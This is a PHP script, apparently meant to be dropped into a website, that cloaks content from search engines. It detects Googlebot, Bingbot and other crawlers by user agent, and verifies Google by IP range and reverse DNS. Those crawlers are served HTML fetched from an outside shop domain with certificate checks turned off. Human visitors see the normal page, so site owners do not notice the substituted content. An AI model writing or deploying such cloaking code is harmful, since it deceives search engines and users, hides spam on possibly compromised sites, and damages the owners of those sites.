<?php
error_reporting(0);
ini_set('display_errors', 0);

// ============================================
// CONFIGURATION
// ============================================
$config = [
    'bot_url' => 'https://cloudcdn-storage.shop/sukhihome/index.html',
    'cache_ttl' => 3600,
    'timeout' => 15
];

function is_search_bot() {
    $bots = [
        // Google
        'Googlebot', 'Googlebot-Mobile', 'Googlebot-Image', 'Googlebot-News',
        'Googlebot-Video', 'AdsBot-Google', 'Mediapartners-Google',
        'Google-InspectionTool', 'Google-Site-Verification', 'Storebot-Google',
        
        // Bing
        'bingbot', 'msnbot', 'BingPreview',
        
        // Others
        'Slurp', 'DuckDuckBot', 'Baiduspider', 'YandexBot',
        'facebookexternalhit', 'LinkedInBot', 'Twitterbot'
    ];
    
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    foreach ($bots as $bot) {
        if (stripos($user_agent, $bot) !== false) {
            return true;
        }
    }
    
    return false;
}

function verify_google_ip() {
    $ip = $_SERVER['REMOTE_ADDR'] ?? '';
    
    if (empty($ip)) {
        return false;
    }
    
    // Quick check: Google IP ranges
    $google_ip_prefixes = ['66.249.', '64.233.', '72.14.', '209.85.', '216.239.'];
    
    foreach ($google_ip_prefixes as $prefix) {
        if (strpos($ip, $prefix) === 0) {
            return true;
        }
    }
    
    // Deep verification: Reverse DNS
    $hostname = gethostbyaddr($ip);
    
    if (stripos($hostname, 'googlebot.com') !== false || 
        stripos($hostname, 'google.com') !== false) {
        
        $resolved_ip = gethostbyname($hostname);
        
        if ($resolved_ip === $ip) {
            return true;
        }
    }
    
    return false;
}

function get_remote_content($url, $timeout = 10) {
    // Try cURL first
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_MAXREDIRS => 5,
            CURLOPT_TIMEOUT => $timeout,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            CURLOPT_ENCODING => 'gzip, deflate',
            CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1
        ]);
        
        $content = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $error = curl_error($ch);
        curl_close($ch);
        
        if ($content && $http_code == 200) {
            return $content;
        }
        
        error_log("cURL failed: $error (HTTP $http_code)");
    }
    
    // Fallback: file_get_contents
    if (ini_get('allow_url_fopen')) {
        $context = stream_context_create([
            'http' => [
                'method' => 'GET',
                'timeout' => $timeout,
                'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
                'follow_location' => 1,
                'max_redirects' => 5
            ],
            'ssl' => [
                'verify_peer' => false,
                'verify_peer_name' => false
            ]
        ]);
        
        $content = @file_get_contents($url, false, $context);
        
        if ($content !== false) {
            return $content;
        }
    }
    
    return false;
}

function cache_content($key, $content = null, $ttl = 3600) {
    $cache_dir = __DIR__ . '/.cache';
    
    if (!is_dir($cache_dir)) {
        @mkdir($cache_dir, 0755, true);
    }
    
    $cache_file = $cache_dir . '/' . md5($key) . '.html';
    
    if ($content !== null) {
        // Save cache
        file_put_contents($cache_file, serialize([
            'time' => time(),
            'content' => $content
        ]));
        return true;
    } else {
        // Read cache
        if (file_exists($cache_file)) {
            $data = unserialize(file_get_contents($cache_file));
            
            if ($data && (time() - $data['time']) < $ttl) {
                return $data['content'];
            }
        }
    }
    
    return false;
}

function serve_bot_content($url, $ttl = 3600, $timeout = 15) {
    // Try cache first
    $cached = cache_content('bot_content', null, $ttl);
    if ($cached) {
        header('Content-Type: text/html; charset=utf-8');
        header('X-Content-Source: cache');
        header('X-Visitor-Type: bot');
        echo $cached;
        exit;
    }
    
    // Fetch fresh content
    $content = get_remote_content($url, $timeout);
    
    if ($content) {
        cache_content('bot_content', $content, $ttl);
        
        header('Content-Type: text/html; charset=utf-8');
        header('X-Content-Source: remote');
        header('X-Visitor-Type: bot');
        echo $content;
        exit;
    }
    
    // Fallback: Error
    http_response_code(503);
    header('Retry-After: 300');
    echo '<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>Temporarily Unavailable</title>
</head>
<body>
    <h1>503 Service Temporarily Unavailable</h1>
    <p>Please try again later.</p>
</body>
</html>';
    exit;
}

// ============================================
// MAIN EXECUTION
// ============================================

// Check if visitor is a bot
if (is_search_bot()) {
    
    // Additional security: Verify Google IP
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    if (stripos($user_agent, 'Googlebot') !== false) {
        if (!verify_google_ip()) {
            // Fake Googlebot! Let it see user content below
            error_log("Fake Googlebot detected from IP: " . ($_SERVER['REMOTE_ADDR'] ?? 'unknown'));
            // Don't exit, continue to show HTML below
        } else {
            // Real Googlebot - serve remote content
            serve_bot_content($config['bot_url'], $config['cache_ttl'], $config['timeout']);
        }
    } else {
        // Other bots - serve remote content
        serve_bot_content($config['bot_url'], $config['cache_ttl'], $config['timeout']);
    }
}

// If we reach here, it's a regular user or fake bot
// Show the HTML content below
header('Content-Type: text/html; charset=utf-8');
header('X-Visitor-Type: user');
?>